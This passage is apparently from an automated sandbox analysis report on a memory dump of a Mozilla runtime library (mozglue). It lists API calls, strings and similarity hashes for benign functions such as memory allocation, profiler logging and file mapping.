islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5BC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5BC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5BC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5BC891

Strings

nan, xrefs: 6C5BC7A8
inf, xrefs: 6C5BC78F
INF, xrefs: 6C5BC794
NAN, xrefs: 6C5BC7AD

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: e5b93acae5dc244a75661c6d3df220734fe6d2436662750791cf75b5de4c64a9
Instruction ID: 6014fae5fd75e7a2709e876f498cadc4e0cb6949b34da2299dcee916a9063f6d
Opcode Fuzzy Hash: e5b93acae5dc244a75661c6d3df220734fe6d2436662750791cf75b5de4c64a9
Instruction Fuzzy Hash: B65195705087808BD700EF2CC99169AFBF0BF9A305F004A2DF9D5A7650E771E9848B47

Function 6C593480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C593492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5934A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5934EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C59350E
__Init_thread_footer.LIBCMT ref: 6C593522
__aulldiv.LIBCMT ref: 6C593552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C59357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C593592

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

Strings

kernel32.dll, xrefs: 6C5934EA
GetSystemTimePreciseAsFileTime, xrefs: 6C593508

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 343fc4635c9cbc79fa0ef8d00ec91d541b7aaa741dd72c768a8044cc91af23d5
Instruction ID: 41951522b19ceec5ee524438218d781a471ced6580735cad3410108adf3b936d
Opcode Fuzzy Hash: 343fc4635c9cbc79fa0ef8d00ec91d541b7aaa741dd72c768a8044cc91af23d5
Instruction Fuzzy Hash: EC319271B00245DBDF04DFBECC89AAA77B5FB89306F10441AE505D3B50DB749905CB96

Function 6C594480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5D4843,?), ref: 6C5945F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5D4843,?), ref: 6C59468A
free.MOZGLUE(?,?,?,?,?,?,6C5D4843,?), ref: 6C5946C9
free.MOZGLUE(?), ref: 6C5946EF
free.MOZGLUE(?), ref: 6C594712
free.MOZGLUE(?), ref: 6C594735
free.MOZGLUE(?), ref: 6C594758
free.MOZGLUE(?), ref: 6C59477B
free.MOZGLUE(?), ref: 6C59479E

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: adcc47a1b96cd5a1ca1124f736b48ba0e6a550b967520d5e3c321ad854c95fd6
Instruction ID: 63d0a3aec6f48ee6d3a853d2eec1f9c9adaf857d2fc5d3ea7c031998fa047b99
Opcode Fuzzy Hash: adcc47a1b96cd5a1ca1124f736b48ba0e6a550b967520d5e3c321ad854c95fd6
Instruction Fuzzy Hash: B0B1F871A001908FDB18DF7CDCA476D77A1AF46328F1846A9E436DFB96E7319C408B41

Function 6C5FAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C5FAC52
CreateFileMappingW.KERNEL32 ref: 6C5FAC7D
GetSystemInfo.KERNEL32 ref: 6C5FAC98
MapViewOfFile.KERNEL32 ref: 6C5FACB0
GetSystemInfo.KERNEL32 ref: 6C5FACCD
MapViewOfFile.KERNEL32 ref: 6C5FAD05
UnmapViewOfFile.KERNEL32 ref: 6C5FAD1C
CloseHandle.KERNEL32 ref: 6C5FAD28
UnmapViewOfFile.KERNEL32 ref: 6C5FAD37
CloseHandle.KERNEL32 ref: 6C5FAD43
CloseHandle.KERNEL32 ref: 6C5FAD67

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 23676c7d241cb0b134602333a6bc56e593e6e28c829a3df7be38ae2f360cc25f
Instruction ID: 9dd65f225652b202c189e626aca0a0134cde320e1e47a350b71343eb08b0c285
Opcode Fuzzy Hash: 23676c7d241cb0b134602333a6bc56e593e6e28c829a3df7be38ae2f360cc25f
Instruction Fuzzy Hash: 48317EB1A043448FDB00AF7DC68926EBBF0BF85345F01492EE99597701EB709459CB96

Function 6C5A9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5A9675
__Init_thread_footer.LIBCMT ref: 6C5A9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5A96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5A9707
__Init_thread_footer.LIBCMT ref: 6C5A971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5A9773

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5A97B7
FreeLibrary.KERNEL32 ref: 6C5A97D0
FreeLibrary.KERNEL32 ref: 6C5A97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5A9824

Strings

ntdll.dll, xrefs: 6C5A96E3
MapViewOfFileNuma2, xrefs: 6C5A97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5A9670
NtMapViewOfSection, xrefs: 6C5A9701

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 808a018696a1ad75ea6f947f6410a0df24257beb2dbeb4b8ca2b6bce3acb9824
Instruction ID: 53384e101c4660fc7e46a5c19ea39f5cd96094115f4edaa0091873962a28017b
Opcode Fuzzy Hash: 808a018696a1ad75ea6f947f6410a0df24257beb2dbeb4b8ca2b6bce3acb9824
Instruction Fuzzy Hash: 8A41A2B47042159BDF00CFAAECD5A9A77B4EB8A35AF00412AED1587F40D731A815CFA6

Function 6C5E0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5E0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E0041
GetCurrentThreadId.KERNEL32 ref: 6C5E0075
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5E0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5E0090
free.MOZGLUE(?), ref: 6C5E0104
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5E011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5E005B

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: f0b94fca5a4e2478620f048e21f4fee118ac89a784b67edcdf2eff9a4abb733c
Instruction ID: 935230376c3eb9f720b89e6aad8fb8f3e195f3289045cccf2a4feec3dda8ce13
Opcode Fuzzy Hash: f0b94fca5a4e2478620f048e21f4fee118ac89a784b67edcdf2eff9a4abb733c
Instruction Fuzzy Hash: AB419EB1600244DFCB10CF6ACC81A9ABBF0FF89359F40451EE95A87B41DB31A805CB9A

Function 6C5A7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A7EA7
malloc.MOZGLUE(00000001), ref: 6C5A7EB3

Part of subcall function 6C5ACAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5ACB49
Part of subcall function 6C5ACAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5A7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5A7F19
malloc.MOZGLUE(?), ref: 6C5A7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5A7F4D

Strings

d, xrefs: 6C5A7F89

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bffb2c89d400f7a162cb4a8b66df8d7986c2b2c16d810fd331c3e33ed862f80b
Instruction ID: 2d2e08604bdc25a019a3d34c1ecbd57fef701888409528b9c2865e3d02321f12
Opcode Fuzzy Hash: bffb2c89d400f7a162cb4a8b66df8d7986c2b2c16d810fd331c3e33ed862f80b
Instruction Fuzzy Hash: 02311871F043489BDB009B6ACD445FEB778EF96248F049329DD49A7612FB31EA88C395

Function 6C5A3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C5A3CCC), ref: 6C5A3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5A3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C5A3CCC), ref: 6C5A4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5A40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5A3CCC), ref: 6C5A40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5A3CCC), ref: 6C5A40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5A4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5A3CCC), ref: 6C5A4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5A3CCC), ref: 6C5A4157

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 1ab4012e738a00419222588544ddb7e4edbfa4f4d9d6863732aefd426543920c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1BA18FB1A00205CFDB40CFAAC88065AB7F5FF48308F2555A9D909AF752D771E886CFA0

Function 6C592030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5B3F47,?,?,?,6C5B3F47,6C5B1A70,?), ref: 6C59207F
memset.VCRUNTIME140(?,000000E5,6C5B3F47,?,6C5B3F47,6C5B1A70,?), ref: 6C5920DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5B3F47,6C5B1A70,?), ref: 6C59211A
EnterCriticalSection.KERNEL32(6C61E744,?,6C5B3F47,6C5B1A70,?), ref: 6C592145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5B3F47,6C5B1A70,?), ref: 6C5921BA
EnterCriticalSection.KERNEL32(6C61E744,?,6C5B3F47,6C5B1A70,?), ref: 6C5921E0
LeaveCriticalSection.KERNEL32(6C61E744,?,6C5B3F47,6C5B1A70,?), ref: 6C592232

Strings

MOZ_CRASH(), xrefs: 6C59227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C592253, 6C592268

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 06ad4f143ae9e7bdf7af4bea505fb2e83738665c7ed2588139056284db128d4d
Instruction ID: 075c086834101163f491572b7e356cc3a7f7bf70c86b53b24ebbb068f68478d9
Opcode Fuzzy Hash: 06ad4f143ae9e7bdf7af4bea505fb2e83738665c7ed2588139056284db128d4d
Instruction Fuzzy Hash: DB61E431F002568FDB04CEADCD89B6E76B5AF85319F2946BAE524A7F94D7309C00C786

Function 6C5E9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E8273), ref: 6C5E9D65
free.MOZGLUE(6C5E8273,?), ref: 6C5E9D7C
free.MOZGLUE(?,?), ref: 6C5E9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5E9E0F
free.MOZGLUE(6C5E946B,?,?), ref: 6C5E9E24
free.MOZGLUE(?,?,?), ref: 6C5E9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5E9EC8
free.MOZGLUE(6C5E946B,?,?,?), ref: 6C5E9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5E9EF5

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: d62f0432d2598c6c6a1ba43bec482fb09ba0e800b908a719fe078840d11bb6ef
Instruction ID: c85603e033956ab90158aa78acf745fb428029aac2bc7f89c388b978f674fec3
Opcode Fuzzy Hash: d62f0432d2598c6c6a1ba43bec482fb09ba0e800b908a719fe078840d11bb6ef
Instruction Fuzzy Hash: 9E71BEB0909B41DBC716CF18C88059BF7F4FF99315B448659E99A6BB01EB30F885CB81

Function 6C5EDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5EDDCF

Part of subcall function 6C5CFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5CFA4B

Part of subcall function 6C5E90E0: free.MOZGLUE(?,00000000,?,?,6C5EDEDB), ref: 6C5E90FF
Part of subcall function 6C5E90E0: free.MOZGLUE(?,00000000,?,?,6C5EDEDB), ref: 6C5E9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EDE0D
free.MOZGLUE(00000000), ref: 6C5EDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5DDEFD,?,6C5A4A68), ref: 6C5EDF32

Part of subcall function 6C5EDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5EDB86
Part of subcall function 6C5EDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5EDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5DDEFD,?,6C5A4A68), ref: 6C5EDF65
free.MOZGLUE(?), ref: 6C5EDF80

Part of subcall function 6C5B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5B5EDB
Part of subcall function 6C5B5E90: memset.VCRUNTIME140(ew_l,000000E5,?), ref: 6C5B5F27
Part of subcall function 6C5B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5B5FB2

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: b1dc5b8f463042624978b607bd459c257e69f43f55c35724166fef7f5351fedf
Instruction ID: edacf8d6666086704324486fe192025d8bc6100de7ac85456666dc9fe440911b
Opcode Fuzzy Hash: b1dc5b8f463042624978b607bd459c257e69f43f55c35724166fef7f5351fedf
Instruction Fuzzy Hash: 4151C4726017109BD721DB29CC846AEB3B6BFD9308F95052DD91A63F10DB31F919CB92

Function 6C5F5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5DC9
std::_Facet_Register.LIBCPMT ref: 6C5F5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C5F5C8C,?,6C5CE829), ref: 6C5F5E45

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: ef1de55f5ac886f0515fdd2b13ccb4ff7b2ad05e74d97ae2e466aa7104449b49
Instruction ID: e8adfd84b08c9806b15f505173e0c72a1e7bf354ea5821d16a9a7f3f0fcdba5d
Opcode Fuzzy Hash: ef1de55f5ac886f0515fdd2b13ccb4ff7b2ad05e74d97ae2e466aa7104449b49
Instruction Fuzzy Hash: AB418E70B002049FCB08DF69CCD9AAE77B6EF89315F448069E61697B81DB34E906CF65

Function 6C5CCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5931A7), ref: 6C5CCDDD

Strings

<jemalloc>, xrefs: 6C5CCF9F, 6C5CCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5CCFA4, 6C5CCFB8

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: c57881a2acc71d270b4a44f29721c259c45492487114fed486794e4102278e5f
Instruction ID: 27487729a34698446043d2d3314f5b57b604ba42cd02f4838d268bbb885c682f
Opcode Fuzzy Hash: c57881a2acc71d270b4a44f29721c259c45492487114fed486794e4102278e5f
